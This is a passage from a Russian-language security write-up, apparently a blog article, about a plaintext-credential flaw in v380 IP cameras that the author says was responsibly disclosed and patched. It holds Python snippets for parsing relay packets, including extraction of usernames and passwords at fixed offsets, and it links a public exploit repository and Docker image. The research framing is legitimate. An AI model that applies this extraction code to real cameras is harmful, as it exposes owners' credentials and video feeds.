Lower latency (нет TCP handshake)
Better для NAT traversal
Используется в оригинальном протоколе v380
Graceful shutdown:
try:
transport.sendto(data)
await asyncio.wait_for(on_con_lost, timeout)
except asyncio.TimeoutError:
pass
finally:
transport.close()
Всегда закрываем транспорты даже при исключениях, предотвращая утечку file descriptors.
Парсинг бинарных протоколов
Работа с бинарными данными требует понимания структур и форматов.
Hex encoding/decoding:
# String ID → Hex
camera_id = "19348439"
hexID = bytes(str(camera_id), 'utf-8').hex()
# Result: "3139333438343339"
# Формирование пакета из hex строк
data = 'ac000000f3030000' + hexID + '2e6e766476722e6e6574...'
data = bytes.fromhex(data)
Каждый байт представлен двумя hex символами. 'ac' → байт 0xAC (172 в decimal).
Struct unpacking для network byte order:
import struct
# Извлекаем unsigned short (2 байта) в little-endian
relay_port = struct.unpack('<H', data[50:52])[0]
# '<H' означает:
# < = little-endian byte order
# H = unsigned short (2 bytes)
Network protocols часто используют different byte orders:
Network byte order обычно big-endian
x86/x64 системы little-endian
Нужно знать спецификацию протокола
Поиск null-terminated strings:
def extract_string(data, start_index):
"""Извлекает C-style string"""
# Ищем null byte начиная с start_index
end_index = data.find(b'\x00', start_index)
# Извлекаем и декодируем UTF-8
return data[start_index:end_index].decode('utf-8').strip()
# Использование:
username = extract_string(data, 0x08) # offset 8
password = extract_string(data, 0x3a) # offset 58
v380 использует null-terminated strings как в C. Конец строки обозначен байтом 0x00.
Fixed offset extraction:
Когда структура пакета известна, используем фиксированные offsets:
# Структура пакета relay server response:
# Bytes 1-9: Device ID (8 bytes ASCII)
# Bytes 33-X: Relay hostname (null-terminated)
# Bytes 50-52: Relay port (2 bytes little-endian)
device_id = data[1:9].decode('utf-8')
relay_server = data[33:data.find(b'\x00', 33)].decode('utf-8')
relay_port = struct.unpack('<H', data[50:52])[0]
Это reverse engineering — анализ трафика в Wireshark, определение где какие данные, документирование структуры.
Заключение
История уязвимости v380 — это урок о важности security в IoT устройствах. Миллионы устройств, установленных в домах по всему миру, были уязвимы из-за базовых ошибок в дизайне протокола: plaintext credentials, незащищенные relay-серверы, отсутствие шифрования.
Но это также история о том, как responsible disclosure работает. Вместо эксплуатации уязвимости или продажи эксплойта, я связался с производителем. Мы совместно закрыли проблему, защитив миллионы пользователей. Теперь, когда патч развернут, код открыт для образовательных целей.
Что должны вынести разработчики IoT:
Security нельзя добавить потом, это fundamental design decision
Plaintext credentials — недопустимо в 2025 году
End-to-end encryption обязательна для sensitive data
Regular security audits и penetration testing критичны
Responsible disclosure programs должны быть у каждой компании
Что должны вынести security researchers:
IoT — огромное поле для исследований
Большинство IoT устройств имеют серьезные уязвимости
Responsible disclosure — правильный путь
Публикация кода после патча помогает community
Что должны вынести пользователи:
Обновляйте firmware регулярно
Используйте сильные уникальные пароли
Сегментируйте IoT устройства в отдельную сеть
Рассмотрите VPN для защиты IoT трафика
Репозиторий с полным кодом эксплойта открыт для изучения: github.com/Romaxa55/v380_cams_hack
Security research продолжается. Я планирую проанализировать другие популярные IoT бренды и надеюсь найти их более защищенными, чем v380 до патча.
Ресурсы и дальнейшее чтение
Исходный код эксплойта:
Docker image:
ghcr.io/romaxa55/romaxa55/v380_cams_hack/v380:latest
IoT Security стандарты и best practices:
OWASP IoT Top 10: owasp.org/www-project-iot-top-10/
IoT Security Foundation: www.iotsecurityfoundation.org/
NIST Cybersecurity Framework: www.nist.gov/cyberframework
Responsible Disclosure:
Google Project Zero Disclosure Policy
HackerOne Best Practices
ISO/IEC 29147 Vulnerability Disclosure
Защита IoT устройств:
Router-level VPN setup guides
Network segmentation tutorials
Modern encryption protocols (VLESS, Reality)
Об авторе
Я security researcher и разработчик, специализирующийся на reverse engineering и анализе IoT устройств. Последние пять лет работаю над проектом MegaV VPN — приложением для безопасности, использующим современные технологии военного шифрования (VLESS, Reality). Моя статья о протоколе VLESS на Habr набрала более 146,000 просмотров.
Мой путь в security начался с curiosity: как работают вещи, которые нас окружают? IoT устройства особенно интересны, потому что они повсюду, доверяются миллионами людей, но часто имеют фатальные уязвимости.
Уязвимость v380 я обнаружил во время более широкого исследования безопасности IP-камер. Анализировал трафик разных брендов в Wireshark и был шокирован, увидев plaintext credentials в пакетах v380. Это побудило создать proof-of-concept и связаться с производителем.
Я верю в responsible disclosure и open source security research. Когда уязвимости закрыты, знания должны быть доступны community для обучения и предотвращения похожих ошибок в будущем.
Работа с китайскими разработчиками:
Хочу отдельно отметить профессионализм команды v380. Несмотря на языковой барьер и разницу в часовых поясах, мы наладили эффективную коммуникацию и совместно закрыли уязвимость. Я глубоко уважаю китайскую культуру, их ценности и подход к решению проблем. Китайские разработчики продемонстрировали ответственность и быстроту реагирования, что заслуживает высокой оценки.
Текущие проекты и партнеры: [реклама удалена мод.]
MegaV VPN (megav.app) — приложение для безопасности с современными технологиями военного шифрования: VLESS, Reality, VMess. Более 146K просмотров статьи на Habr
AppLikeWeb — партнерский стартап по конвертации веб-сайтов в нативные мобильные и desktop приложения (Android, iOS, Windows, macOS, Linux)
PinVPS — партнерский провайдер с дата-центрами в Испании. AMD Ryzen процессоры, NVMe SSD, отличное соотношение цена/производительность
VPN Protocol Benchmarks — бенчмарки производительности современных VPN протоколов
VLESS Configs — коллекция production-ready конфигураций для V2Ray/Xray
IoT Security Research — анализ безопасности популярных IoT устройств
Связь:
MegaV VPN: megav.app
Email: support@megav.store
Если вы исследователь безопасности, интересуетесь IoT, VPN технологиями или разработкой мобильных приложений — буду рад обсудить и обменяться опытом.
Disclaimer: Этот материал предоставлен исключительно в образовательных целях. Использование описанных техник против систем без разрешения владельцев незаконно. Автор и репозиторий не несут ответственности за неправомерное использование информации.
Wesha
“In IoT, S stands for Security” ©
И это ещё наговнокожено
челокитайцем. А представьте, что будет, когда оно будет набрежено LLM...